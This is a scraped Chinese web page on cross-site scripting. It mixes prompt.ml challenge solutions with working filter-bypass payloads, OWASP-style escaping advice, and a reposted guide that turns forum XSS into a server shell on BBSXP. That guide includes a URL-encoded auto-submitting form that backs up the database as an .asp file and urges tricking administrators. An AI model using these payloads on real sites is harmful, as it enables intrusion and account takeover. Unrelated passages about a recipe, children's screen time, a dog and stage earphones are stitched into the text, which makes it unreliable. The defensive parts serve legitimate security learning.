跨站脚本攻击XSS(Cross Site Script)的原理与常见场景分析

来源:脚本之家  责任编辑:小易  

登陆protal后,点击查看报表,这是protal会发送转到cognos的请求,如果使用的IE8,则

前言

前段时间在网上看到一个网址,好奇之下进去看了看。胜利的条件是你录入一个串,让其调用prompt(1) 。发现里面有好多想不到的东西,今天终于悠闲了来这里说说XSS。

Xss(cross-site scripting)攻击指的是攻击者往Web页面里插入恶意html标签

XSS 原理

跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。

对于的用户输入中出现XSS漏洞的问题,主要是由于开发人员对XSS了解不足,安全的意识不够造成的。现在

XSS 常见场景

没用到富文本的话可以用spring里的HtmlUtils.htmlEscape(string str

一些私人的博客,攻击者恶意评论,弹出alert,这种充其量也就是一个玩笑。但是如果是盗窃cookie,异常提交请求,这些就比较难受了。

1.SQL语句漏洞 也就是SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请

prompt(1)

“只要是鱼香口味的菜,味道就错不了”,感觉不能同意这句话更多。鱼香菜的做法简单,调好一碗鱼香汁就等于成功了一半。与任何食材都能搭配,甚至你可以将你黑名单上的食材做成鱼香版的来试试看。美味下饭、颜色鲜亮勾人食欲,试问有多少人最爱的盖浇饭是鱼香肉丝的。神奇的它还能把素菜炒出肉味来!我能列出鱼香菜的一百条优点,毕竟鱼香菜魅!力!无!穷!而鱼香汁的调配方法也非常简单,将1汤匙料酒、1汤匙生抽、1茶匙白糖、2汤匙醋、5汤匙水加到碗里,搅匀即可使用。用料主料:猪瘦肉(里脊最好)300克;胡萝卜半个;灯笼青椒半个;干木耳1朵辅料:蒜3瓣;姜适量;生粉1勺;鸡蛋1个;生抽2勺;老抽1勺;郫县豆瓣酱1勺;陈醋1

chrome 版本 62.0.3202.75(正式版本) (64 位)

时下电子产品越来越流行,它能为我们提供多种形式的资讯及娱乐项目,因此也成了人们越来越离不开的一种产品。对于孩子们来说,他们对电子产品也充满极大的渴求。电子产品中的内容十分逼真,且色泽明亮,种类丰富,还不用太费精力,上手快,信息量大,非常能满足孩子那颗充满好奇的心。除了可以满足孩子们的好奇心外,它们还能帮家长们安抚孩子,很多顽皮的孩子一坐在电子产品面前就立刻安静下来了,不哭不闹,毫无其他“无理”要求。如果不是家长要求,孩子们甚至可以看上一天不动地方,这也让部分家长非常满足,有了大把可以自己利用的时间了。有的家长认为孩子喜欢电子产品没什么,时代在进步,不可能让孩子丝毫不接触电子产品,如果不让孩子接

function escape(input) { // warm up // script should be executed without user interaction return '<input type="text" value="' + input + '">'; }

我还记得我五岁时,我家的狗,为了抓蛇,被蛇咬了,嘴巴肿的像猪肠一样,让后他就消失了,我们都以为他死在外面了,结果过了几天他回来了,一点事情都没有,家里的老人家告诉我们,土狗生病了,他会自己去找药,根本就不用当心他

第一个

这是一个开胃菜,没有做任何校验,这种不设防的在现在已经很少了。他把值直接拼入字符串,组成一个DOM input标签,那我们只要正确的把标签闭合掉就可以调用了。

歌手现场戴的耳机学名叫作“舞台返听系统”耳机中播放的内容是伴奏(如果是现场乐队的话,播放乐队各part混合后的音源),再加上歌手自己的声音。耳机型返听系统由两部分组成,一部分是无线接收器,用来接收调音台发送的信号,一般挂在歌手腰上(或者藏在服装里面),另一部分是一个耳机,插在无线接收器上面,就是大家所看到的那个耳机了。之所以现场演唱需要返听系统,有以下几个原因:1.演唱会场地的音响都是面向观众设置的(即音响是背对歌手的),由于越高频的声音其指向性越强,歌手在舞台上听到的伴奏是非常混浊的(基本只有低频以及一部分反射回来的高频声音),在大多数情况下无法听清伴奏。2.演唱会现场非常吵,歌手在舞台上也

"><script>prompt(1)</script> ,拼出来的字符串为<input type="text" value=""><script>prompt(1)</script>"> ,这样就等于插入了我们的代码。

function escape(input) { // tags stripping mechanism from ExtJS library // Ext.util.Format.stripTags var stripTagsRE = /<\/?[^>]+>/gi; input = input.replace(stripTagsRE, ''); return '<article>' + input + '</article>'; }

第二个

这个已经提升难度了,/<\/?[^>]+>/gi匹配<>标签内的所有东西,如输入<script>prompt(1)</script>转换过后会出现prompt(1),内容里面的标签被替换掉了。所以这个我们去尝试不闭合标签,让浏览器自己去容错。

<img src onerror="prompt(1);" 该方法通过img加载src失败会调用onerror的想法。

function escape(input) { // v-- frowny face input = input.replace(/[=(]/g, ''); // ok seriously, disallows equal signs and open parenthesis return input; }

第三个

这个就有点略坑了/[=(]/g把所以的=号和(号都替换掉了,这样我们尝试调用的时候就不能使用这些东西了。使用的方法是通过模板字符串的标签模板,这个ES6的特性。 <script>prompt`1`</script>看样子我们这样写就可以了,但是为什么没有生效呢?下面的图可以看出来,这样的话传入的是字符串,判断是不通过的,所以我们要修改一下<script>prompt.call${1}</script> ,这样就可以跑过验证了。(话说markdown如何在``里面写``)

function escape(input) { // filter potential comment end delimiters input = input.replace(/->/g, '_'); // comment the input to avoid script execution return '<!-- ' + input + ' -->'; }

第四个

这个看上去是把你写的内容都放在了html的注释语句里面,并且用/->/g替换了一把。我想到的方案有条件注释,但是条件注释这是IE的东西,我们就先不测试了。

--!><img src onerror="prompt(1);" 使用这个可以关闭

function escape(input) { // make sure the script belongs to own site // sample script: http://prompt.ml/js/test.js if (/^(?:https?:)?\/\/prompt\.ml\//i .test(decodeURIComponent(input))) { var script = document.createElement('script'); script.src = input; return script.outerHTML; } else { return 'Invalid resource.'; } }

第五个

这个是通过伪造url,我们使用的是访问带有用户名、密码保护的 URL来伪造。

http://prompt.ml%2f@urlurl为一个网络地址引用的js,内容为prompt(1)。本来想尝试一下data:text/html,<html><script>prompt(1)</script></html>但是没有成功,然后javascript:;about:blank也没有通过,挺失落。

function escape(input) { // apply strict filter rules of level 0 // filter ">" and event handlers input = input.replace(/>|on.+?=|focus/gi, '_'); return '<input value="' + input + '" type="text">'; }

第六个

/>|on.+?=|focus/gi替换了>、onxxxx=和focus。通过input特殊的type类型。

`"type=image src onerror

="prompt(1)`

通过xss能做的事情

有很多,绝大多数的网络攻击行为都是把xss作为漏洞链中的第一环。通过xss,黑客可以得到的最直接的利益就是拿到用户浏览器(或者一些类浏览器app)的cookie。由于目前web系统中实现session的办法主要是cookie,所以一旦黑客拿到了用户的cookie,就可以劫持用户的session,从而变相达到盗取用户账号的目的。

xss也使黑客可以以受害用户的ip地址向其他站点发起web攻击,因为一切的攻击脚本都可以借受害用户的浏览器执行。

以这样的方式,将xss配合起csrf、sql注入等漏洞可以在短时间内对一个服务器发起大量攻击,并且服务端无法将攻击ip封死,因为ip是成百上千的xss受害者的ip。

2015年github遭遇的大规模DDOS,实际上就是黑客以某种方式把而已脚本植入到“熊场”的广告联盟iframe中,从而对github的某些接口实施攻击,最终达到DDOS的效果。

另外,持久性xss的传播性极强,由于web的特点是轻量级、灵活性高,每个用户每天都可能访问很多web站点,每个web站点每天都有成千上万的来访。所以将xss攻击配合起一些系统内核级的漏洞,完全可能在几个小时之内击垮几百万台智能设备。

如今的xss

相比网上很多资料中,在技术上已经发生了很大变化。由于各大网站加强了对于js脚本、html标签等关键信息的过滤,单纯依靠植入javascript代码很难实施攻击。

PC端页面,一些视频类、页游网站存在大量的flash内嵌在页面中,可以尝试将flash代码植入,往往可以规避网站安全过滤。移动端页面,可以植入native代码(android系统植入java,ios系统植入oc)。

总结

以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作具有一定的参考学习价值,如果有疑问大家可以留言交流,谢谢大家对脚本之家的支持。

扩展阅读,根据您访问的内容系统为您准备了以下内容,希望对您有帮助。

最近网上流行的XSS是什么意思

最近网上流行的XSS是一种跨站脚本攻击(Cross Site Scripting), 为了与css(层叠样式表)区分,故被人们称为Xss.它的攻击原理就是恶意浏览者构造巧妙的脚本恶意代码 通过网站功能存入到网站的数据库里面,如果程序没有经过过滤或者过滤敏感字符不严密就直接输出或者写入数据库,合法用户在访问这些页面的时候 程序将数据库里面的信息输出, 这些恶意代码就会被执行。

跨站脚本攻击(XSS)<script>alert(42873)</script>

网站防SQL注入的代码有吧?

类似这样的code_string="',;,and,exec,insert,select,count,*,chr,asc,master,truncate,char,declare,net user,xp_cmdshell,/add,drop,from"

在代码里边再加几个:,%20,<,>我就是这么解决的

谁能说一下脚本病毒的原理、攻击流程与防护、、最好详细点呀、网站也好、谢啦、、

通过对xss跨站脚本攻击漏洞的历史、攻击特点、攻击原理描述及案例代码实战举例详细解析XSS漏洞攻击技术,并提出防御XSS跨站漏洞的思路方法。及WEB开发者开发网站过程中防范编码中产生xss跨站脚本攻击漏洞需要注意的事项。

XSS漏洞概述:

XSS(Cross Site Script)跨站点脚本攻击是一种注射的问题,在这种恶意脚本注入否则良性和信任的网站类型。跨站点脚本(XSS)攻击,攻击者使用时,会出现一个网络应用程序发送恶意代码,一般是在浏览器端脚本的形式,向不同的最终用户。这些缺陷,使攻击成功是相当普遍,发生在任何地方从一个Web应用程序使用在输出它没有验证或编码了用户输入。攻击者可以使用XSS的恶意脚本发送到一个毫无戒心的用户。最终用户的浏览有没有办法知道该脚本不应该信任,将执行该脚本。因为它认为该脚本来从一个受信任的源,恶意脚本可以访问任何Cookie,会话令牌,或其他敏感信息的浏览器保留,并与该网站使用。 甚至可以重写这些脚本的HTML网页的内容。

XSS漏洞历史:

XSS(Cross-site scripting)漏洞最早可以追溯到1996年,那时电子商务才刚刚起步,估计那时候国内很少人会想象到今天出现的几个国内电子商务巨头淘宝、当当、亚马逊(卓越)。XSS的出现“得益”于JavaScript的出现,JavaScript的出现给网页的设计带来了无限惊喜,包括今天风行的AJAX(Asynschronous JavaScript and XML)。同时,这些元素又无限的扩充了今天的网络安全领域。

XSS 漏洞攻击特点:

(1)XSS跨站漏洞种类多样人:

XSS攻击语句可插入到、URL地址参数后面、输入框内、img标签及DIV标签等HTML函数的属人里、Flash的getURL()动作等地方都会触发XSS漏洞。

(2)XSS跨站漏洞代码多样人:

为了躲避转义HTML特殊字符函数及过滤函数的过滤,XSS跨站的代码使用“/”来代替安字符“””、使用Tab键代替空格、部分语句转找成16进制、添加特殊字符、改变大小写及使用空格等来绕过过滤函数。

如果在您的新闻系统发现安全漏洞,如果该漏洞是一个SQL 注入漏洞,那么该漏洞就会得到您的网站管理员密码、可以在主机系统上执行shell命令、对数据库添加、删除数据。如果在您的新闻或邮件系统中发现安全漏洞,如果该漏洞是一个XSS跨站漏洞,那么可以构造一些特殊代码,只要你访问的页面包含了构造的特殊代码,您的主机可能就会执行木马程序、执行^***Cookies代码、突然转到一个银行及其它金融类的网站、泄露您的网银及其它账号与密码等。

XSS攻击原理:

XSS 属于被动式的攻击。攻击者先构造一个跨站页面,利用script、<IMG>、<IFRAME>等各种方式使得用户浏览这个页面时,触发对被攻击站点的http 请求。此时,如果被攻击者如果已经在被攻击站点登录,就会持有该站点cookie。这样该站点会认为被攻击者发起了一个http 请求。而实际上这个请求是在被攻击者不知情的情况下发起的,由此攻击者在一定程度上达到了冒充被攻击者的目的。精心的构造这个攻击请求,可以达到冒充发文,夺取权限等等多个攻击目的。在常见的攻击实例中,这个请求是通过script 来发起的,因此被称为Cross Site Script。攻击Yahoo Mail 的Yamanner 蠕虫是一个著名的XSS 攻击实例。Yahoo Mail 系统有一个漏洞,当用户在web 上察看信件时,有可能执行到信件内的javascript 代码。病毒可以利用这个漏洞使被攻击用户运行病毒的script。同时Yahoo Mail 系统使用了Ajax技术,这样病毒的script 可以很容易的向Yahoo Mail 系统发起ajax 请求,从而得到用户的地址簿,并发送病毒给他人。

XSS 攻击主要分为两类:一类是来自内部的攻击,主要指的是利用WEB 程序自身的漏洞,提交特殊的字符串,从而使得跨站页面直接存在于被攻击站点上,这个字符串被称为跨站语句。这一类攻击所利用的漏洞非常类似于SQL Injection 漏洞,都是WEB程序没有对用户输入作充分的检查和过滤。上文的Yamanner 就是一例。

另一类则是来来自外部的攻击,主要指的自己构造XSS 跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。如当我们要渗透一个站点,我们自己构造一个跨站网页放在自己的服务器上,然后通过结合其它技术,如社会工程学等,欺骗目标服务器的管理员打开。这一类攻击的威胁相对较低,至少ajax 要发起跨站调用是非常困难的。

如何防范XSS跨站脚本攻击测试篇

  不可信数据 不可信数据通常是来自HTTP请求的数据,以URL参数、表单字段、标头或者Cookie的形式。不过从安全角度来看,来自数据库、网络服务器和其他来源的数据往往也是不可信的,也就是说,这些数据可能没有完全通过验证。 应该始终对不可信数据保持警惕,将其视为包含攻击,这意味着在发送不可信数据之前,应该采取措施确定没有攻击再发送。由于应用程序之间的关联不断深化,下游直译程序执行的攻击可以迅速蔓延。 传统上来看,输入验证是处理不可信数据的最好办法,然而,输入验证法并不是注入式攻击的最佳解决方案。首先,输入验证通常是在获取数据时开始执行的,而此时并不知道目的地所在。这也意味着我们并不知道在目标直译程序中哪些字符是重要的。其次,可能更加重要的是,应用程序必须允许潜在危害的字符进入,例如,是不是仅仅因为SQL认为Mr. O'Malley名字包含特殊字符他就不能在数据库中注册呢? 虽然输入验证很重要,但这始终不是解决注入攻击的完整解决方案,最好将输入攻击作为纵深防御措施,而将escaping作为首要防线。 解码(又称为Output Encoding) “Escaping”解码技术主要用于确保字符作为数据处理,而不是作为与直译程序的解析器相关的字符。有很多不同类型的解码,有时候也被成为输出“解码”。有些技术定义特殊的“escape”字符,而其他技术则包含涉及若干字符的更复杂的语法。 不要将输出解码与Unicode字符编码的概念弄混淆了,后者涉及映射Unicode字符到位序列。这种级别的编码通常是自动解码,并不能缓解攻击。但是,如果没有正确理解服务器和浏览器间的目标字符集,有可能导致与非目标字符产生通信,从而招致跨站XSS脚本攻击。这也正是为所有通信指定Unicode字符编码(字符集)(如UTF-8等)的重要所在。 Escaping是重要的工具,能够确保不可信数据不能被用来传递注入攻击。这样做并不会对解码数据造成影响,仍将正确呈现在浏览器中,解码只能阻止运行中发生的攻击。 注入攻击理论 注入攻击是这样一种攻击方式,它主要涉及破坏数据结构并通过使用特殊字符(直译程序正在使用的重要数据)转换为代码结构。XSS是一种注入攻击形式,浏览器作为直译程序,攻击被隐藏在HTML文件中。HTML一直都是代码和数据最差的mashup,因为HTML有很多可能的地方放置代码以及很多不同的有效编码。HTML是很复杂的,因为它不仅是层次结构的,而且还包含很多不同的解析器(XML、HTML、JavaScript、VBScript、CSS、URL等)。 要想真正明白注入攻击与XSS的关系,必须认真考虑HTML DOM的层次结构中的注入攻击。在HTML文件的某个位置(即开发者允许不可信数据列入DOM的位置)插入数据,主要有两种注入代码的方式: Injecting UP,上行注入 最常见的方式是关闭现有的context并开始一个新的代码context,例如,当你关闭HTML属性时使用">并开始新的 可以终止脚本块,即使该脚本块被注入脚本内方法调用内的引用字符,这是因为HTML解析器在JavaScript解析器之前运行。 Injecting DOWN,下行注入 另一种不太常见的执行XSS注入的方式就是,在不关闭当前context的情况下,引入一个subcontext。例如,将改为 ,并不需要躲开HTML属性context,相反只需要引入允许在src属性内写脚本的context即可。另一个例子就是CSS属性中的expression()功能,虽然你可能无法躲开引用CSS属性来进行上行注入,你可以采用x ss:expression(document.write(document.cookie))且无需离开现有context。 同样也有可能直接在现有context内进行注入,例如,可以采用不可信的输入并把它直接放入JavaScript context。这种方式比你想象的更加常用,但是根本不可能利用escaping(或者任何其他方式)保障安全。从本质上讲,如果这样做,你的应用程序只会成为攻击者将恶意代码植入浏览器的渠道。 本文介绍的规则旨在防止上行和下行XSS注入攻击。防止上行注入攻击,你必须避免那些允许你关闭现有context开始新context的字符;而防止攻击跳跃DOM层次级别,你必须避免所有可能关闭context的字符;下行注入攻击,你必须避免任何可以用来在现有context内引入新的sub-context的字符。 积极XSS防御模式 本文把HTML页面当作一个模板,模板上有很多插槽,开发者允许在这些插槽处放置不可信数据。在其他地方放置不可信数据是不允许的,这是“白名单”模式,否认所有不允许的事情。 根据浏览器解析HTML的方式的不同,每种不同类型的插槽都有不同的安全规则。当你在这些插槽处放置不可信数据时,必须采取某些措施以确保数据不会“逃离”相应插槽并闯入允许代码执行的context。从某种意义上说,这种方法将HTML文档当作参数化的数据库查询,数据被保存在具体文职并与escaping代码context相分离。 本文列出了最常见的插槽位置和安全放置数据的规则,基于各种不同的要求、已知的XSS载体和对流行浏览器的大量手动测试,我们保证本文提出的规则都是安全的。 定义好插槽位置,开发者们在放置任何数据前,都应该仔细分析以确保安全性。浏览器解析是非常棘手的,因为很多看起来无关紧要的字符可能起着重要作用。 为什么不能对所有不可信数据进行HTML实体编码? 可以对放入HTML文档正文的不可行数据进行HTML实体编码,如 标签内。也可以对进入属性的不可行数据进行实体编码,尤其是当属性中使用引用符号时。但是HTML实体编码并不总是有效,例如将不可信数据放入 directlyinascript insideanHTMLcomment inanattributename <...NEVERPUTUNTRUSTEDDATAHERE...href="/test"/> inatagname 更重要的是,不要接受来自不可信任来源的JavaScript代码然后运行,例如,名为“callback”的参数就包含JavaScript代码段,没有解码能够解决。 No.2 – 在向HTML元素内容插入不可信数据前对HTML解码 这条规则适用于当你想把不可信数据直接插入HTML正文某处时,这包括内部正常标签(div、p、b、td等)。大多数网站框架都有HTML解码的方法且能够躲开下列字符。但是,这对于其他HTML context是远远不够的,你需要部署其他规则。 ...ESCAPEUNTRUSTEDDATABEFOREPUTTINGHERE... ...ESCAPEUNTRUSTEDDATABEFOREPUTTINGHERE... 以及其他的HTML常用元素 使用HTML实体解码躲开下列字符以避免切换到任何执行内容,如脚本、样式或者事件处理程序。在这种规格中推荐使用十六进制实体,除了XML中5个重要字符(&、<、 >、 "、 ')外,还加入了斜线符,以帮助结束HTML实体。 &-->& <-->< >-->> "-->" '-->''isnotrecommended /-->/forwardslashisincludedasithelpsendanHTMLentity ESAPI参考实施 Stringsafe=ESAPI.encoder().encodeForHTML(request.getParameter("input")); No.3 – 在向HTML常见属性插入不可信数据前进行属性解码 这条规则是将不可信数据转化为典型属性值(如宽度、名称、值等),这不能用于复杂属性(如href、src、style或者其他事件处理程序)。这是及其重要的规则,事件处理器属性(为HTML JavaScript Data Values)必须遵守该规则。 contentinsideUNquotedattribute content insidesinglequotedattribute 除了字母数字字符外,使用小于256的ASCII值&#xHH格式(或者命名的实体)对所有数据进行解码以防止切换属性。这条规则应用广泛的原因是因为开发者常常让属性保持未引用,正确引用的属性只能使用相应的引用进行解码。未引用属性可以被很多字符破坏,包括[space] % * + , - / ; < = > ^ 和 |。 ESAPI参考实施 String safe = ESAPI.encoder().encodeForHTMLAttribute( request.getParameter( "input" ) ); No.4 – 在向HTML JavaScript Data Values插入不可信数据前,进行JavaScript解码 这条规则涉及在不同HTML元素上制定的JavaScript事件处理器。向这些事件处理器放置不可信数据的唯一安全位置就是“data value”。在这些小代码块放置不可信数据是相当危险的,因为很容易切换到执行环境,因此请小心使用。

怎样过滤跨站恶意脚本攻击

什么是XSS攻击  XSS又叫CSS (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意攻击用户的特殊目的。XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常忽略其危害性。而本文主要讲的是利用XSS得到目标服务器的shell。技术虽然是老技术,但是其思路希望对大家有帮助。 [编辑本段]如何寻找XSS漏洞  就个人而言,我把XSS攻击分成两类,一类是来自内部的攻击,主要指的是利用程序自身的漏洞,构造跨站语句,如:dvbbs的showerror.asp存在的跨站漏洞。另一类则是来来自外部的攻击,主要指的自己构造XSS跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。如当我们要渗透一个站点,我们自己构造一个有跨站漏洞的网页,然后构造跨站语句,通过结合其它技术,如社会工程学等,欺骗目标服务器的管理员打开。

  然后利用下面的技术得到一个shell. [编辑本段]如何利用  传统的跨站利用方式一般都是攻击者先构造一个跨站网页,然后在另一空间里放一个收集cookie的页面,接着结合其它技术让用户打开跨站页面以盗取用户的cookie,以便进一步的攻击。个人认为这种方式太过于落后,对于弊端大家可能都知道,因为即便你收集到了cookie你也未必能进一步渗透进去,多数的cookie里面的密码都是经过加密的,如果想要cookie欺骗的话,同样也要受到其它的条件的限约。而本文提出的另一种思路,则从一定程度上解决上述的问题。对于个人而言,比较成熟的方法是通过跨站构造一个表单,表单的内容则为利用程序的备份功能或者加管理员等功能得到一个高权限。下面我将详细的介绍这种技术。 [编辑本段]来自内部的跨站攻击  寻找跨站漏洞

  如果有代码的话比较好办,我们主要看代码里对用户输入的地方和变量有没有做长度和对”〈”,”〉”,”;”,”’”等字符是否做过滤。还有要注意的是对于标签的闭合,像测试QQ群跨站漏洞的时候,你在标题处输入〈script〉alert(‘test’)〈/script〉,代码是不会被执行的,因为在源代码里,有其它的标签未闭合,如少了一个〈/script〉,这个时候,你只要闭合一个〈/script〉,代码就会执行,如:你在标题处输入〈/script〉〈script〉alert(‘test’)〈/script〉,这样就可以弹出一个test的框。

  如何利用

  我先以BBSXP为例,过程已做成动画,详情可见光盘中的动画。我举BBSXP中其中两个比较好用的跨站漏洞点为例.

  a.先注册一个普通用户,我这里注册的用户是linzi.然后我们在个人签名里写入:

  c.然后发个贴子,可以结合其它技术欺骗管理员浏览发的贴子。

  d.因为是测试,所以我们以管理员身份登陆,然后打开贴子,我们会发现,linzi已经变成了社区区长工,如图一所示

  除此之外我们只要在个人签名里输入

  同样发个贴子等,只要管理员打开了,就会加了一个扩展名为asp (有空格)的上传扩展,这个时候,你只要上传一个newmm.asp (有空格)就可以得到一个shell.

  上面的攻击多多少少有点局限性,虽然可以得到shell,但是隐蔽性不太好,因为签名

  处受到了长度的*,不能超过255个字符。我们可以结合flash跨站实现更为隐蔽的

  攻击,对于flash木马的制作,下面见哥们丰初的介绍。

  再利用如下:

  修改一下个人头像的url,输入代码如下:

  再接着欺骗管理员打开你的资料或者浏览你的贴子,当管理员打开后,会在后台自动加个php扩展名的后辍,因为bbsxp在个人头像url里过滤了空格,%,所以我们只能加个不包括空格的其它扩展,当然你也可以加个shtml的扩展,有了它你就可以用来查看源代码,然后进一步攻击。 [编辑本段]来自外部的跨站攻击  有的时候,当我们对于目标程序找不到可以利用的跨站点,这个时候我们可以利用可以从外部入手,利用我们要拿下的是它的论坛,论坛的安全性做的很好,但其留言板却存在跨站漏洞,这个时候我们可以在留言板里写入跨站语句,跨站语句为以表单的方式向论坛提交提升权限的语句,如上面的bbsxp加asp 扩展的语句。当然我们可利用后台的备份功能直接得到一个shell。

  例:先上传一个文件linzi.txt,内容如下:

  〈body onload="javascript:document.forms[0].submit()"〉〈form

  action=" http://127.0.0.1/bbsxp/admin_fso.aspmenu=bakbf" method="post"〉〈input value="database/bbsxp.mdb" name="yl" 〉〈input value="database/shit.asp" name="bf" 〉〈/body〉〈/html〉

  上面的代码是把论坛的数据库备份为shit.asp,留言板存在跨站点如下:

   http://127.0.0.1/bbsxp/page2.aspusername=

  我们构造备份跨站语句如下:

   http://127.0.0.1/bbsxp/page2.aspusername=%3C%62%6F%64%79%20%6F%6E%6C%6F%61%64%3D%22%6A%61%76%61%73%63%72%69%70%74%3A%64%6F%63%75%6D%65%6E%74%2E%66%6F%72%6D%73%5B%30%5D%2E%73%75%62%6D%69%74%28%29%22%3E%3C%66%6F%72%6D%20%61%63%74%69%6F%6E%3D%22%68%74%74%70%3A%2F%2F%31%32%37%2E%30%2E%30%2E%31%2F%62%62%73%78%70%2F%61%64%6D%69%6E%5F%66%73%6F%2E%61%73%70%3F%6D%65%6E%75%3D%62%61%6B%62%66%22%20%6D%65%74%68%6F%64%3D%22%70%6F%73%74%22%3E%3C%69%6E%70%75%74%20%76%61%6C%75%65%3D%22%64%61%74%61%62%61%73%65%2F%62%62%73%78%70%2E%6D%64%62%22%20%6E%61%6D%65%3D%22%79%6C%22%20%3E%3C%69%6E%70%75%74%20%76%61%6C%75%65%3D%22%64%61%74%61%62%61%73%65%2F%73%68%69%74%2E%61%73%70%22%20%6E%61%6D%65%3D%22%62%66%22%20%3E%3C%2F%62%6F%64%79%3E%3C%2F%68%74%6D%6C%3E

  或者构造跨站语句,利用打开一个0大小的linzi.txt。

  当管理员打开后,会自动备份得到一个shell. [编辑本段]XSS与其它技术的结合  从上面的实例,我们可以知道,如何欺骗管理打开是一个很重要的步骤,对于欺骗打开,除了社会工程学外,我们可以结合其它的技术,如sql injection.当我们渗透一个网站之时,主站mssql注入漏洞,权限为public,这个时候我们利用update构造跨站语句,如用打开一个上面的备份得到shell的跨站语句等,同样,我们可以在社会工程学时,利用QQ的其它跨站漏洞等等。

  总是对于欺骗也是一门艺术,具体怎么利用,大家就发挥自己的想象力吧!

  好一个欺骗也是一门艺术,不管是在生活中还是在网络中。生活中难免有些事情不能讲真话,这时采用适当的方法使得我们的假话当作真话讲,这就靠欺骗的艺术了。

  • 本文相关:
  • 最新的黑客技术:xss跨站脚本攻击详细介绍
  • 关于跨站脚本攻击问题
  • 跨站脚本攻击+cookies欺骗(discuz篇)
  • 字符集导致的浏览器跨站脚本攻击分析
  • 也谈跨站脚本攻击与防御
  • ubb的跨站脚本攻击的漏洞
  • 研究ubb的跨站脚本攻击之综合篇
  • php常用工具函数小结【移除xss攻击、utf8与gbk编码转换等】
  • php如何防止xss攻击与xss攻击原理的讲解
  • web安全之xss攻击与防御小结
  • 跨站脚本攻击xss原理与防范实例分析
  • 几款黑客工具的使用方法
  • serv-u得到管理员密码新招 (转)
  • 个人用户防黑指南
  • 菜鸟黑客入门攻击及防范技巧
  • sql2005注入辅助脚本[修改版]
  • 密码知识教程一
  • 网络后门面面观
  • 怎样让别人中木马-木马常用骗术大观
  • 各种系统中密码文件的位置
  • 全力打造个人网络安全之xp篇
  • 最近网上流行的XSS是什么意思
  • 跨站脚本攻击(XSS)<script>alert(42873)</script&g...
  • 谁能说一下脚本病毒的原理、攻击流程与防护、、最好详细点呀、网站也好、谢啦、、
  • 如何防范XSS跨站脚本攻击测试篇
  • 怎样过滤跨站恶意脚本攻击
  • 如何解决跨站脚本攻击
  • XSS攻击原理是什么
  • xss注入漏洞产生的原因?xss注入过程步骤是什么?防范xss注入的方法有哪些
  • Struct2+Spring 架构JavaWeb项目,出现xss跨站脚本攻击漏洞解决方案??
  • 黑客们怎么利用漏洞攻击的呢
  • 免责声明 - 关于我们 - 联系我们 - 广告联系 - 友情链接 - 帮助中心 - 频道导航
    Copyright © 2017 www.zgxue.com All Rights Reserved